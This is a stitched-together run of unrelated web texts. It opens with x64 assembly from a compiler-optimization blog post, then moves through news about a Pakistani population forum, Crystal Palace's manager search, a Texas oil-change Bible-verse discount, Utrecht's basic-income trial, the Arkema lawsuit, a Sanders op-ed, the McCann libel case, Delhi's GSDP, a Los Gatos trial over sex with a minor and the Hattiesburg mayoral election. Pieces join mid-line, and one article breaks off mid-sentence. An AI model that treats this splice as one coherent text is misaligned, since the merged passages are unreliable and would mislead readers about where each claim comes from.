x64 before x64 now n$ = 8 upper$ = 24 clamp comiss xmm0, xmm2 lea rax, QWORD PTR upper$[rsp] lea rcx, QWORD PTR n$[rsp] movss DWORD PTR [rsp+24], xmm2 movss DWORD PTR [rsp+8], xmm0 cmovbe rax, rcx movss xmm0, DWORD PTR [rax] comiss xmm1, xmm0 jb SHORT $LN10@clipf movaps xmm0, xmm1 $LN10@clipf: ret 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 n $ = 8 upper $ = 24 clamp comiss xmm0, xmm2 lea rax, QWORD PTR upper $ [ rsp ] lea rcx, QWORD PTR n $ [ rsp ] movss DWORD PTR [ rsp + 24 ], xmm2 movss DWORD PTR [ rsp + 8 ], xmm0 cmovbe rax, rcx movss xmm0, DWORD PTR [ rax ] comiss xmm1, xmm0 jb SHORT $ LN10 @ clipf movaps xmm0, xmm1 $ LN10 @ clipf : ret 0 clamp minss xmm0, xmm2 maxss xmm0, xmm1 ret 0 For integer values: clamp_int cmp r8d, ecx cmovl ecx, r8d cmp edx, ecx cmovl edx, ecx mov eax, edx ret 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 clamp minss xmm0, xmm2 maxss xmm0, xmm1 ret 0 For integer values : clamp_int cmp r8d, ecx cmovl ecx, r8d cmp edx, ecx cmovl edx, ecx mov eax, edx ret 0
In closing
We are excited to finally release all these new and improved optimizations in the compiler backend and help make your programs faster. Expect to see many more additions in future versions – we are continuously working hard to implement new optimizations, improve existing ones or replace some of the older ones with newer, better approaches, such as the work done in the SSA Optimizer.
Please let us know if you have any feedback or suggestions about cases that could be optimized better. We can be reached via the comments below, via email (visualcpp@microsoft.com) and you can provide feedback and report bugs via Help > Report A Problem in the product, or via Developer Community.The Contech Consortium organised the second consultative meeting, ‘Challenge Journalists Forum’ to discuss “The Role of Media to Make Governance Elite Socially Responsive” on Sunday at a local hotel in Islamabad.
The forum, under the aegis of a national advocacy campaign, “APNA Pakistan- Advocacy for Population & National Advancement,” discussed the ways to generate sustainable political will and commitment in order to adapt reproductive health as a national agenda, and to make it a part of political parties’ manifestos.
Aniq Zafar, CEO of Communications Research Strategies (CRS), which is a member of the Contech Consortium, while addressing the welcome session said that the core message of this forum was to make governance elite socially responsible to control the population surge, and for the media to ask the right questions and to demand action.
Aniq initiated a debate on population surge in Pakistan and asked for input on the various ways it could be controlled.
The meeting was attended by health experts, media representatives from the provincial capitals of the four provinces and by various journalists.
Dr Nauman Khan, a senior consultant on public health at Contec, informed the participants that the consortium had spoken to political parties, including the religio-political parties, such as Jamat-e-Islami and Jamat-e-Ulema-e-Islam, to sensitise them of the issue and urge them to make reproductive health a priority agenda in their manifestos.
Khalid Khan, a journalist, quoted the population minister of KPK, Saleem Khan as saying that the population rate of the province had reduced in the last few years.
He attributed this decrease to Ulema’s involvement in educating people about the benefits of a smaller family, and the presence of health centres in the rural areas.
Participants stressed on the need to take effective measures to control the population growth which was inversely proportional to the national resources.
Participants said that population growth was co-related to the increase in crime rates.
Participants recommended that increasing the spending in the education sector was an answer to many issues plaguing the country today.
The consultative session is a follow up of the first session held in Islamabad on December 15, 2012.
Consultative process for the project APNA Pakistan was launched in the first session and had provided the basis for a comprehensive political and media involvement guidelines.
The Consultative meeting was attended by senior media professionals from all over Pakistan, including Faisal Rehman Malik (PTV World, Islamabad), Shahzada Zulfiqar (Senior Correspondent AFP, Quetta), Beena Qayyum Khan (Anchor Samma, Karachi), Fauzia Shaheen (senior journalist, Karachi), Wajahat Masood (Jang, Lahore), Ameera Javeria (Lahore), Khalid Khan (The News, Peshawar), Said Alam Khan (The Nation, Peshawar), Shamim Shahid (senior journalist, Peshawar), Asghar Khan (Faisalabad) and Ms Deya Rehan (Radio Pakistan Islamabad), among others.F ormer St Etienne boss Christophe Galtier is on the shortlist to become the new manager of Crystal Palace.
The Eagles have been without a manager since Sam Allardyce left the club 48 hours after the final day of the season - having guided Palace to Premier League safety before his shock departure.
Galtier is said to be a friend of former Manchester United forward Eric Cantona and according to ESPN, is one of the names being considered by the club as they try and fill the vacant position by the end of the week.
Frank de Boer and Sean Dyche are among the other candidates in the running to take over at Selhurst Park, but Galtier has emerged as another contender after leaving St Etienne last month.
The French manager guided St Etienne to three consecutive top-five finishes and won the Coupe de la Ligue in 2013. His side also reached the last-32 of the Europa League, before getting knocked out at the hands of eventual winners Manchester United.
L'Equipe say Crystal Palace have taken steps to find out if Galtier and Cantona, who knew each other well when younger, are friends. — Sport Witness (@Sport_Witness) June 12, 2017
Galtier is reportedly interested in a move to the Premier League, although he is not top of Palace's list of targets to land the job.
However, Football London report that Galtier's friendship with Cantona may prove to be problematic with the Eagles hierarchy. Cantona was banned from football for nine months after his infamous kung fu kick at a Crystal Palace fan in 1995 and was unapologetic about the incident afterwards.
The resulting bad blood between the two sets of supporters boiled over into violence at the FA Cup semi-final three months later at Villa Park, during which Eagles supporter Paul Nixon was killed and many Palace fans still hold Cantona responsible.
Which of these newly promoted sides will have the best season in the EPL? Brighton & Hove Albion Huddersfield Town Newcastle United It doesn't really matter as they'll all go straight back down again!At Kwik Kar Lube & Service in Plano, Texas, owner Charlie Whittington has a deal for you: Recite John 3:16 and he’ll give you a discount on an oil change.
Don’t want to recite it? Well, screw you.
Resident Marshall Wei, who had been to the Kwik Kar on Custer Road in Plano before, was happy to find the coupon hanging on his door last week. Above the promised $19.99 price though, the coupon says customers must quote the New Testament verse John 3:16 to get the deal. “I think maybe I forgot exactly what it is, and I needed to go look it up online,” Wei said With the verse in hand, Wei drove to the store and pulled into the garage, but as he waited he started having second thoughts about the offer. “Why should I be compelled to quote something I do not feel comfortable to quote?” he asked. After a short discussion with a store manager about the verse, he declined to recite it, and ended up paying more than $46 for the service, more than twice what he expected. “I’m paying you,” Wei said. “Why can’t you treat me like others?”
(Side note: Why did he pay $46 when the coupon is for $19.99 and a savings of $15 off the regular price? Shouldn’t he have paid $35 + tax?)
Anyway, it’s a privately-owned business. So Whittington is welcome to tell his Jewish, Muslim, atheist, (black, gay, female, etc) customers that he doesn’t want their business without any legal repercussions.
But his reasoning makes no sense:
“I’m not making you do anything and I’m tired of people making me do something.”
Yeah! How *dare* the rest of us make him do… um… something… whatever that is… (someone please tell me?)
But I guess he has a right to do this…
And the rest of us have a right to leave reviews about his business on Yelp. I’m sure a Bible verse in your review would be appreciated. ***Edit***: Commenters point out that you may be violating Yelp policies if you express disapproval on their site for reasons like this. But that may not be the case on other sites. Either way, dont bother giving them your business.
Also, how come it’s always Christians who seem to do things like this? You never see an atheist business owner saying she’ll give you a discount if you say “God is a myth.”
(Thanks to Ryan for the link)The city of Utrecht will start experimenting with a new concept that could revolutionize society as we know it: basic income. Unconditional basic income is a form of social security system in which all residents receive an unconditional sum of money, regardless of whether or not they have another source of income.
In many countries, there are advocates for a basic income, and many scientists also back this idea up as a means to not only incentivize people to work in the field they really want to and become more productive, but also to regulate markets and to create economic and social advantages. The concept will allow people more time to study, volunteer and work in what they are truly passionate about. Of course, there is the risk of some people just slacking and relying on the basic income, but the increase in productivity of the former will surpass the deficit of the latter – at least that’s what proponents claim, and what the city of Utrecht wants to find out.
City officials teamed up with the University College in Utrecht to see if the system can actually work. Alderman for Work and Income Victor Everhardt said in a statement:
“One group is will have compensation and consideration for an allowance, another group with a basic income without rules and of course a control group which adhere to the current rules. Our data shows that less than 1.5 percent abuse the welfare, but, before we get into all kinds of principled debate about whether we should or should not enter, we need to first examine if basic income even really works.”
They are embarking on this experiment without any prejudice, they just want to see whether it works or not.
“What happens if someone gets a monthly amount without rules and controls? Will someone sitting passively at home or do people develop themselves and provide a meaningful contribution to our society?”
The city also plans to talk with other municipalities about setting up similar experiments. They are discussing with Nijmegen, Wageningen, Tilburg and Groningen and they want to start in the second half of this year.
In case you’re wondering whether or not this will work, a number of similar pilot programmes are already underway with positive results. The Namibia BIG Coalition launched a pilot program in Ojivero-Omitara from January 2008 to December 2009 and reported a decrease in poverty, an increase in economic activity, reduced crime, reduced child malnutrition and increased school attendance. In 2010, two pilots were launched in the northern state of Madhya Pradesh. The study found an increase in economic activity as well as an increase in savings, an improvement in housing and sanitation, improved nutrition, less food poverty, improved health and schooling, greater inclusion of the disabled in society and a lack of frivolous spending. Brazil and Alaska also had similar projects, and also reported positive outcomes. All in all, basic income seems like an interesting concept, one that might be here to stay.
Enjoyed this article? Join 40,000+ subscribers to the ZME Science newsletter. Subscribe now!HOUSTON (Reuters) - Police and emergency workers filed suit on Thursday against French chemicals company Arkema SA, claiming they were injured after it failed to take adequate steps to avoid a fire at its Crosby, Texas, plant after Hurricane Harvey.
FILE PHOTO: A fire burns at the flooded plant of French chemical maker Arkema SA after Tropical Storm Harvey passed in Crosby, Texas, U.S. August 31, 2017. REUTERS/Adrees Latif
Seven police, fire and emergency medical technicians sued Arkema in Harris County District Court for at least $1 million, alleging negligence by the company and executives led flammable organic peroxides stored at the site to ignite after the plant lost power during the storm.
Arkema defended its efforts to secure the chemicals and plant, saying in a statement that it worked with police, fire and regulatory officials to project the plant and local residents.
“We deeply regret that anyone suffered harm as a result of the havoc wreaked on our plant by Hurricane Harvey,” it said in statement. It called the negligence suit “gravely mistaken” and said it will contest the allegations.
The seven emergency workers claim they received “serious bodily injuries” after breathing smoke released by the fire while manning an evacuation perimeter a mile and a half from the plant. The chemicals are used in the manufacture of plastics.
The company and its executives failed to protect the chemicals adequately and did not alert the emergency workers on Aug. 31 after some containers exploded, caught fire and released “toxic fumes,” the suit said.
Arkema’s executives “repeatedly denied that the chemicals were toxic or harmful in any manner” and the seven emergency workers “relied on these representations and suffered serious bodily injuries as a result,” the suit alleges.
In all, about 15 emergency workers outside the plant required care at the scene or were taken to a hospital and treated for smoke inhalation.
Floodwaters from Harvey cut electricity feeding refrigeration units used to keep the plant’s tanks of volatile organic peroxide from warming and combusting. Plant workers evacuated after moving the chemicals into nine trailers.
The federal Chemical Safety Board has launched an investigation of the incident, and the Environmental Protection Agency has been monitoring the site for pollutants.Ever since Hillary Clinton‘s second presidential run was a gleam in her eye, nearly everyone in the political and media world has been dreaming of someone to fight her for it. First it was Senator Elizabeth Warren (D-MA), who was asked so incessantly about running against Hillary that she finally got a neck tattoo that read “FFS, no!”
Then, the media and the Warren Wing found her successor in Sen. Bernie Sanders (I-VT), a straight-talker who wasn’t afraid to take on the Obama administration on trade, but didn’t make President Obama out to be a sexist pig in the process. His economic message, dove-ish foreign policy, and anti-corporate politics were supposed to pull Hillary Clinton to the left, but his candidacy was never expected to go anywhere. Even Bernie Sanders never seemed to expect to win.
But then, a couple of funny things happened. First, media outlets began hyping Bernie’s performance in the polls, even though Hillary Clinton still leads him by 29 points in Iowa, and a whopping 40 points in the national average. The latest bit of hype is that Sanders, along with Clinton, is beating Republicans in head-to-head polling.
At the same time, though, Sanders also began drawing some legit big crowds, and for the media, began to make a nice bookend to Donald Trump’s surge in the polls. Along the way, a deep rift has developed between Sanders’ mostly-white supporters and the more diverse Obama coalition, which came to a head a few weeks ago at the Netroots Nation conference. While #BlackLivesMatter protesters wanted to hear Bernie’s plans to address police violence and criminal justice discrimination, he elected to crankily remind them about his civil rights record, and insist that his economic policies were the gateway to solving their problems.
With a week to think about it, Sanders addressed the Southern Christian Leadership Conference last weekend, and while he paid some lip service to the issues of the #BlackLivesMatter movement, the overall gist was more of the same. The few policies he offered fell well short even of those offered by Hillary Clinton (for example, Clinton favors mandatory body cameras, while Sanders merely proposes making them available), and even though he railed against the gutting of the Voting Rights Act, he still, in front of an audience thirsty for action on black issues, maintained that his only litmus test for Supreme Court justices would be overturning Citizens United.
Now, with a second shot at repairing that rift before a largely black audience, Sanders has whiffed again. In a speech to the National Urban League this week, Sanders name-checked the movement that confronted him in Phoenix, but still came up well short in the policy department:
“A growing number of communities throughout this country do not trust the police, and police have become disconnected from the communities they are sworn to protect. When I was mayor of Burlington, Vermont, the largest city in the state, one of the things we did — and I believe this very strongly — is we moved toward community policing. Community policing means that police are part of the community, not seen as oppressors in the community, and that is the direction that we have got to move. Sandra bland, Michael Brown, Eric gasher, Walt — garner, Walter Scott, Freddie grey, we know their names. Each of them died unarmed at the hands of police officers or in police custody. Let us all be very clear, violence and brutality of any kind particularly at the hands of law enforcement sworn to protect and serve their communities is unacceptable and must not be tolerated. We must reform our criminal justice system. Black lives do matter, and we must value black lives.”
Sanders then took a major detour from his prepared remarks to riff on criminal justice for several minutes, emphasizing things like community policing and prison reform, but still came up well short of the positions Hillary Clinton has taken, and even completely omitted voting rights from his speech. He also left out the body cameras. That contrast was made all the more noticeable by Hillary Clinton’s strong speech on those issues from the very same stage.
Bernie may have gotten the memo, but he didn’t read it too closely. The clear emphasis of his campaign remains “middle-class economics” and the fight against the “billionaire class.” Sandra Bland had a job. What she didn’t have was a chance to ever get to it, because she asked why she had to put out a cigarette in her own car. It wasn’t a billionaire who killed Sam DuBose, it was a middle-class cop. If Bernie Sanders wants to reach out to Obama coalition voters, he’s got to let go of the universality of his policies, and their eventual appeal to black voters. This isn’t that complicated; mandatory body cameras, mandatory federal reporting of profiling statistics, and mandatory federal jurisdiction over all use-of-force investigations are a good, quick start to assuring black voters they might be around to get a job fixing roads.
As someone who agrees with Sanders (and Elizabeth Warren) on many issues, it is tempting to wonder what the harm is in getting those issues out, and the answer is none. To the extent that a Sanders candidacy can build support for things like a $15-an-hour minimum wage, it’s a good thing. The problem is that the rift between the Sanders/Warren Wing and the Obama coalition has become deep and bitter, much like the 2008 rift between Hillary’s supporters and then-Senator Obama’s. There are still many Obama supporters who don’t trust Hillary Clinton, who suspect that her advocacy on black issues is opportunistic and audience-specific. Unfortunately, Bernie Sanders isn’t even giving them that much. For any Democratic candidate to turn out the Obama coalition in real force, they’re going to need to put the right solutions to these problems front and center, not at a table near the kitchen.
Have a tip we should know? tips@mediaite.comMissing Madeleine McCann's parents have confirmed they are fighting a Portuguese court decision to side with former police chief Goncalo Amaral over his hurtful claims about her disappearance.
The country's Supreme Court last month rejected their last-ditch appeal over his 2008 book 'The Truth of the Lie' in which he alleged Maddie died in their holiday flat and they faked her abduction to cover up the tragedy.
Judges backed a lower court's April 2016 decision to reverse their 2015 libel win against the ex-detective, leaving the couple facing a huge legal bill and the nightmare prospect of being sued by Amaral.
Kate and Gerry, both 48, have said they will sue if 'The Truth of the Lie' is sold in Britain. Portugal's Supreme Court last month rejected their last-ditch appeal over former detective Goncalo Amaral's 2008 book
And they also challenged Gerry and Kate's insistence they had nothing to with their daughter's disappearance in a devastating put-down which is said to have sparked their fresh legal challenge.
The McCanns have now confirmed they are seeking to get the Supreme Court decision invalidated after launching a formal complaint against the judges' findings.
It was known they had 10 days to file an objection with court officials.
It is thought the McCanns' attempt to nullify the decision is based on comments made by the judges in their 76-page ruling that the 2008 shelving of the Portuguese probe into their daughter's disappearance 'was determined by the fact that public prosecutors hadn't managed to obtain sufficient evidence of the crimes by the appellants.'
The McCanns had their status as 'arguidos' or official suspects lifted on the same day - July 21 2008 - just three days before Amaral published his controversial book.
Judges backed a lower court's April 2016 decision to reverse their 2015 libel win against the ex-detective (pictured left). He alleged Maddie (right) died in their holiday flat and her parents faked her abduction to cover up the tragedy
Correio da Manha reported: 'The McCanns have requested the annulment of the Supreme Court decision, terming it frivolous for saying it 'had not been possible for public prosecutors to obtain sufficient evidence of crimes by the appellants.''
The newspaper said the McCanns had described the ruling as 'leviano' in the complaint lodged through their Portuguese lawyer - which in English translates as 'frivolous' but can also mean'sloppy' or 'rash'.
No-one from the Supreme Court was available for comment this morning.
The McCanns' lawyer Isabel Duarte, asked if she had lodged a formal complaint against the Supreme Court ruling, confirmed: 'We delivered it.'
It was unclear today if another set of Supreme Court judges dealt with complaints about rulings - or they were handed to another judicial body to deal with.
Amaral was ordered to pay the McCanns €500,000 euros (£430,000) by a Lisbon court in April 2015 after they won round one of their lengthy judicial battle over his book and a subsequent TV documentary.
The McCanns' lawyer Isabel Duarte (pictured), asked if she had lodged a formal complaint against the Supreme Court ruling, confirmed: 'We delivered it'
The former police chief got that ruling - and a ban on selling his book - overturned on appeal in April last year.
The decision by Lisbon's Court of Appeal sparked the Supreme Court fight which was resolved on January 31.
The full 76-page ruling said to have sparked a new legal challenge by the McCanns was released just under a week later.
Judges made it clear in their decision their job was not to decide whether the McCanns bore any criminal responsibility over their daughter's disappearance and it would be wrong for anyone to draw any inferences about the couple's guilt or innocence from their ruling.
But they added: 'It should not be said that the appellants were cleared via the ruling announcing the archiving of the criminal case.
'In truth, that ruling was not made in virtue of Portugal's Public Prosecution Service having acquired the conviction that the appellants hadn't committed a crime.
'The archiving of the case was determined by the fact that public prosecutors hadn't managed to obtain sufficient evidence of the practice of crimes by the appellants.
'There is therefore a significant, and not merely a semantic difference, between the legally admissible foundations of the archive ruling.
'It doesn't therefore seem acceptable that the ruling, based on the insufficiency of evidence, should be equated to proof of innocence.'
They added, highlighting the McCanns' Tapas Nine friend Jane Tanner's much-questioned sighting of the suspected 'abductor': 'It's true that the aforementioned criminal inquiry ended up being archived, namely because none of the apparent evidence that led to the appellants being made 'arguidos' was subsequently confirmed or consolidated.
'However even the archive ruling raises serious concerns relating to the truth of the allegation that Madeleine was kidnapped.'
The Supreme Court judges said the McCanns claimed Amaral's book and the TV documentary based on the book formed no part of case files made public in 2008 and would have damaged the honour and good name of any 'innocent person who had been cleared through the shelving of the criminal investigation.'
But they stated: 'We consider the invocation of the violation of the principle of innocence should not be taken into account here, since this issue is not relevant to the resolution of the question that needs to be decided here.'
The Supreme Court judges said the McCanns claimed Amaral's book and the TV documentary based on the book formed no part of case files made public in 2008 and would have damaged the honour and good name of any 'innocent person'
They said the 'crucial question' for them was how to resolve the rights of Kate and Gerry McCann to their 'good name and reputation' and the rights of Goncalo Amaral and the other respondents including the book editors to the constitutionally-inshrined right of 'freedom of expression.'
Concluding Amaral had not acted 'illicitly,' they ruled his book was not a personal and unjustified attack on the McCanns with a 'defamatory intention' behind it which would not be protected by freedom of speech rights.
Describing the book and the TV documentary based on it as an 'opinion' based on the logic of facts and evidence contained in the criminal case files, they added: 'Our opinion is that rather than an injurious animus, the intention was informative and defensive.'
The Supreme Court ruling meant Amaral was spared having to pay the McCanns the compensation he was ordered to hand them after the first court ruling in 2015.
Missing Madeleine McCann's parents are fighting a Portuguese court decision
The payment was frozen when he launched his successful appeal.
Earlier this month it emerged the ex detective, removed as head of the investigation into Madeleine's May 3 2007 disappearance after criticising British detectives, was writing a new book about the unsolved mystery.
It is understood he will be critical in the new book of some of the things Scotland Yard did in their review and later ongoing investigation of the case.
The former cop insisted from day one of his court fight with the McCanns that everything he wrote in his book was based on the publicly-available case files.
Kate and Gerry, both 48, of Rothley, Leicestershire, have said they will sue if 'The Truth of the Lie' is sold in Britain.
They said in a statement after learning of the Supreme Court ruling against them: 'What we have been told by our lawyers is obviously extremely disappointing.
'It is eight years since we brought the action, and in that time the landscape has changed dramatically, namely there is now a joint Metropolitan Police and Policia Judiciaria investigation which is what we have always wanted.
'The police in both countries continue to work on the basis that there is no evidence Madeleine has come to physical harm.
'We will of course be discussing the implications of the Supreme Court ruling with our lawyers in due course.'
It is believed the McCanns are discussing the possibility of taking the case to the European Court of Human Rights.
The 20,000 page 'Madeleine files made public in 2008 contained a report by public prosecutors which said:'No element of proof whatsoever was found which allows us to form any lucid, sensible, serious and honest conclusion about the circumstance of Madeleine's disappearance from the apartment...including, and most dramatically, establishing whether she is alive or dead, which seems more probable.'
Madeleine McCann disappeared from a holiday apartment in Praia da Luz, a resort in the Algarve region of Portugal, on May 3, 2007
Referring to the McCanns' much-criticised decision to leave their daughter, then three, alone with younger siblings Sean and Amelie while they ate tapas nearby, it added: 'We must also recognise that the parents are paying a heavy penalty over the disappearance of Madeleine for their carelessness in monitoring and protecting their children.'
Portuguese police chiefs said late last year they were 'completely in tune' with British detectives still investigating Madeleine's disappearance, appearing to end years of tension between the two forces whose theories on the youngster's fate have differed wildly.
Portuguese prosecutors reopened their probe into Madeleine McCann's disappearance in May 2014, and are now working in close coordination with Scotland Yard's scaled-down Operation Grange probe into Madeleine's fate.The Gross State Domestic Product of Delhi grew by 12.76 per cent in 2016-17 as compared to the previous year. "The rank of Delhi as per the estimates of GSDP is much better than some of the states such as Madhya Pradesh, Bihar, Punjab, Haryana and Odisha," Delhi Deputy chief minister Manish Sisodia said this today while releasing the "Estimates of State Domestic Product 2016-17'' here. Mr Sisodia said that the Gross State Domestic Product (GSDP) in Delhi at the current prices for the year 2016-17 is estimated at Rs 622385 crores against Rs 551963 crores in 2015-16, registering a growth of 12.76 per cent. The estimates have been prepared with the new base year 2011-12. "The share of service sector in Delhi's economy is about 82.26 per cent followed by secondary sector at 14.84 per cent and primary sector at 2.90 per cent," Mr Sisodia said,. The Deputy Chief Minister said that the share of manufacturing sector is about 8.41 per cent, construction sector 4.02 per cent, trade hotels and restaurants is 11.69 per cent, financial services is 14.83 per cent and the maximum share of 29.81 per cent is from the real estate, ownership of dwellings and professional services. "The Per Capita Income of the state has been increasing year by year. It is expected to be Rs 303073 for the year 2016-17 against Rs 273618 during 2015-16," Mr Sisodia asserted. The GSDP is defined as a measure in monetary terms of the volume of all goods and services produced within the boundaries of the State during a given period of time, accounted without duplication.UNI DS ADG 1723 -- (UNI) -- C-1-1-DL0177-894676.XmlThis summer sees a change to the grading system in GCSEs – instead of getting a grade from A to G students will now (in some subjects) get a number from 9 to 1. The impact of this is yet to be seen but it is expected that very few will gain 9s in all their subjects which has led to some cries of outrage – why are we putting such pressure on our young people? Why do we keep raising the hurdles, moving the top grade from A to A* and now to 9? When will enough be enough?
Hidden inside these questions is a deception because an A has never been |
on yourself. Be conscious about how and what you talk about yourself – take some time to reflect on how you’ve presented yourself to new faces and if you have trusted associates, do a 1 minute spiel of yourself and your key highlights and ask for feedback. Were you too uncertain, overly-modest or hesitant? Work on it.
Yes, self-promotion, especially without substance is shame.
But once you are certain you are growing and doing great work, the next step is really to be seen by who needs to see you.
One immediate platform for visibility that's most accessible but often neglected is to serve. Whether it's to volunteer for your industry organization, be an emcee in your company event or take lead in a new initiative, it's all about taking that one step forward in the spirit of service.
5. Establish Thought Leadership
(Image quoted from Thought Leadership Leverage)
Related to visibility and the depth of mastery as in the T-shape professional is the part about thought leadership. Young professionals as they scale higher up on the corporate ladder need to know that the premium you command is not just merely related to your social and emotional capital, but also, your intellectual capital and mastery.
I recently worked closely with the CEO Asia of a global Australian infrastructure management group for a coaching assignment and was wildly inspired by how he was able to think rapidly on the spot and come up with data of various industries in a manner that lend gravity and meaning to the discussion. That only happened because he invested thoroughly in being a leader in thought and analysis of his industry agenda.
Establishing thought leadership is about being comfortable and competent in articulating thoughts and beliefs about your trade and industry in an insightful and engaging manner.
With technology these days, it’s so much easier to establish thought leadership in the online spaces. It is a powerful form of self-marketing because your knowledge and thought processes can be distilled in the public sphere and better still, be able to attract a following.
What young professionals can do?
Start and commit to shipping great content regularly – if CEOs of multinationals like Thomson Reuters, Saatchi & Saatchi and Zappos can blog about their issues and perspectives, there’s no excuse for young professionals to complain there’s no time? Blogging is an accessible and cost-effective way of scaling your knowledge and beliefs Leverage social media and crowdsourcing platforms – platforms for professional networking like Linkedin have the groups function where professionals can ask questions and comment on popular themes. Other platforms like Quora, a content sharing and aggregator site allows you to learn and share your knowledge. Be incisive, analytical and critical of trends, patterns and behaviors - don't just take what you consume for the whole truth. There is much value in synthesizing and corroborating information from multiple sources and seeing things from different perspectives and vantage points. When we become slipshod in our thinking, we gradually become lax in our action and execution as well.
* This article was originally prepared for a radio interview for Mediacorp Singapore's News 938 Live - A Slice of Life program.
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Question: how else do you think young professionals can up their chances of being successful in this world we live in? What are some of things they need to know or master?A group of people connected to one of those tribes is looking for some of the stories that may have lingered in the area after the Native Americans migrated away.
NATCHEZ, Miss. — Long before Natchez was known for its antebellum grandeur, European explorers were telling stories of the rich native cultures they encountered in southwest Mississippi.
Now, a group of people connected to one of those tribes is looking for some of the stories that may have lingered in the area after the Native Americans migrated away.
Tammy Greer is the director of the Center for American Indian Research and Studies at the University of Southern Mississippi. She's also a member of the United Houma Nation and is part of a group of Houma Indians working to pinpoint the tribe's historical presence in Adams County.
In Louisiana, the Houma Nation is a state-recognized tribe and has several communities in south Louisiana, including Terrebonne and Lafourche parishes.
"In our traditional stories, they talk about us coming from the Choctaw, but from that time to the time where we ended up at what is present day Angola, we don't hear much about what happened," Greer said.
Grand Village of the Natchez Indians Director Jim Barnett said at the time of the first European contact, the Houma had a village in the hills that bordered the Wilkinson County community of Fort Adams.
"They remained in that spot until 1706, when they either left the village willingly or were driven out by the Tunica Indians who came down the river and took over that village location," Barnett said.
During southwest Mississippi's French colonial period, the Houmas became somewhat fractured because of disease, migrations and interactions with settlers, Barnett said.
"Eventually they moved into what became Spanish Louisiana after the French and Indian War in the 1760s. The Houmas, Tunicas and several other tribes were allies of the French, which means they were enemies of the English, so when the English got control of everything to the east of the river, they moved into the west of the river and were welcomed by the Spanish with the thought they could help defend against an English incursion."
Greer said that while the search for new information might not be easy, when people groups have moved from one place to another someone has always stayed behind or later returned, and even if there aren't many of Houma heritage in the area, she wants to hear from them.
"It is hard to retrace (the movement) among the Houma. There is no written record because most of the Houma did not receive a public education until the 1950s and 60s, but our ancestors and elders in our community know the stories, and we are getting pieces of (our history), and I thought since I was here in Mississippi that I would reach out in the other direction to see what the people in Natchez know," she said.
"If it is true there was a Houma community in there, probably there are people in Natchez — the elders of their community — who have passed along the stories about who lived there and what they did, and what battles they had and who they married," she said.Hours before being whisked away in the middle of the night to a summer camp for troubled children, a teenage boy had sex with his best friends’ mother in a green SUV — while parked at a Los Gatos elementary school, the youth testified Wednesday.
The encounter at Daves Avenue Elementary School was the last of at least 30 to 40 times the middle-aged Los Gatos woman and 16-year-old boy had intercourse, the boy claimed in testimony that contradicted what he told police last year.
“Did you lie last year to detectives when you told them you only had sex with Sara Cole three or four times?” prosecutor Timothy S. Moore asked, as Cole’s trial on three felony counts of unlawful intercourse with a minor got under way Wednesday.
“Yes,” the youth instantly said in testimony that recounted a disturbing, drama-filled relationship with Cole. Now 17 and enrolled in a Montana boarding school — which has a curriculum that includes psychological counseling — the teen said he believed last year that telling the truth about the 3 1/2-month affair with the 47-year-old woman would “make me look bad and I wanted to save her (Cole).”
Cole made headlines — and benefited from an outpouring of community support — after a drunken driver nearly killed her in 2007.
Cole’s attorney, Michael W. Armstrong, pointed out inconsistencies Wednesday in the boy’s account, noting lies the teen told his parents and police, including not acknowledging his use of LSD and mushrooms. The boy also told detectives that Cole initiated the intercourse, but testified that “we looked at each other and it started to happen.” The Mercury News is not publishing the boy’s name because he is an alleged victim of sexual assault.
Cole has pleaded not guilty, insisting she only had “intimate relations,” not intercourse, with the boy. The mother of four sons is also charged with one misdemeanor count of molesting or annoying a child under 18. She may testify Thursday.
Judge Jerome E. Brock has excluded details of Cole’s accident on the grounds that they were irrelevant and could unduly evoke jurors’ sympathy.
During their relationship, which began 2 1/2 years after her accident, Cole and the teen exchanged 5,413 texts and 863 phone calls over seven months.
The teen’s parents first reported their suspicions to police after seeing a sexually graphic text message on their son’s phone. They discovered a series of disturbing texts after they had him taken to a wilderness camp for troubled children because he was getting poor grades and smoking marijuana.
Much to his surprise, the boy was jostled awake by camp counselors about 4 a.m. on July 15, 2010 — about eight hours after his alleged encounter with Cole in the elementary school parking lot — and flown to the Utah wilderness, where no cellphones or other electronic distractions were permitted.
The boy eventually reported the alleged sexual abuse to a therapist at the camp, who called his parents.
The boy, wearing a blue-plaid flannel shirt and jeans, told the rapt jury of seven women and five men that he and Cole often had sex in the kitchen or her bedroom while his best friend was in a nearby room sleeping or playing Xbox video games.
In the testimony, the boy described a relationship that was anything but desirable.
The teen said Cole supplied him with free food, cigarettes and marijuana — even driving him to pick up pot. Once, he said, she promised to wait for him outside his dealer’s house on Winchester Avenue, but left him stranded after discovering a text message on his cellphone from a girl he was dating, the youth testified.
The two appeared to battle constantly, judging from the text messages the prosecutor displayed for the jury. She once blocked his calls; he once damaged her back door after she locked him out because he stole her cigarettes, he testified.
Throughout the long afternoon, the boy remained poised, responding in a straightforward, mature manner even under gentle but persistent questioning by Armstrong.
But after stepping down from the witness box, he requested something of the judge that seemed to reflect his youth. Referring to a basket of treats clad in shiny gold paper that jurors had been passing around, the teen piped up, “Can I take a candy?” and grinned when the judge nodded his assent.
Contact Tracey Kaplan at 408-278-3482.CLOSE Toby Barker thanks supporters on being elected as the new Hattiesburg mayor Tuesday night. Wochit
Buy Photo Rep. Toby Barker thanks supporters after he was elected the new mayor of Hattiesburg on Tuesday night. (Photo: Susan Broadbridge/Hattiesburg American)Buy Photo
As Toby Barker supporters celebrated over the strains of Boston's "More Than a Feeling" Tuesday night at The Venue in downtown Hattiesburg, the Hub City's mayor-elect was looking forward to the city's potential over the next four years.
"It's an incredibly humbling feeling, for a town like Hattiesburg to put their trust in me to help lead the next four years," said Barker, who defeated incumbent Mayor Johnny DuPree 6,214 votes to 4,198 in Tuesday's general election. "We know that we have challenges, and I just know that the talent and goodwill of the people will overcome those.
"I'm excited about what the next four years and beyond will bring."
Barker, who currently serves as the Republican representative for House District 102 in central Hattiesburg, will serve as an independent in his mayoral term, which begins July 1.
"We'll start gathering (Wednesday) and start meeting and trying to seek input from people around the community," Barker said. "We're just excited about what the future holds."
DuPree, a Democrat who was elected in 2001, did not return calls Tuesday night.
Hattiesburg, which has 27,216 registered voters, saw 9,525 votes cast, or 35 percent voter turnout.
Affidavit and absentee ballots counted Wednesday raised that total to 10,461 or 38 percent.
CLOSE New Hattiesburg mayor Toby Barker talks about winning Tuesday's election. Haskel Burns/Hattiesburg American
Ward 1
Ward 1 candidates will see a newcomer to Hattiesburg City Council, with Republican Jeffrey George defeating Democratic challenger Ken Chambers 821 votes to 368.
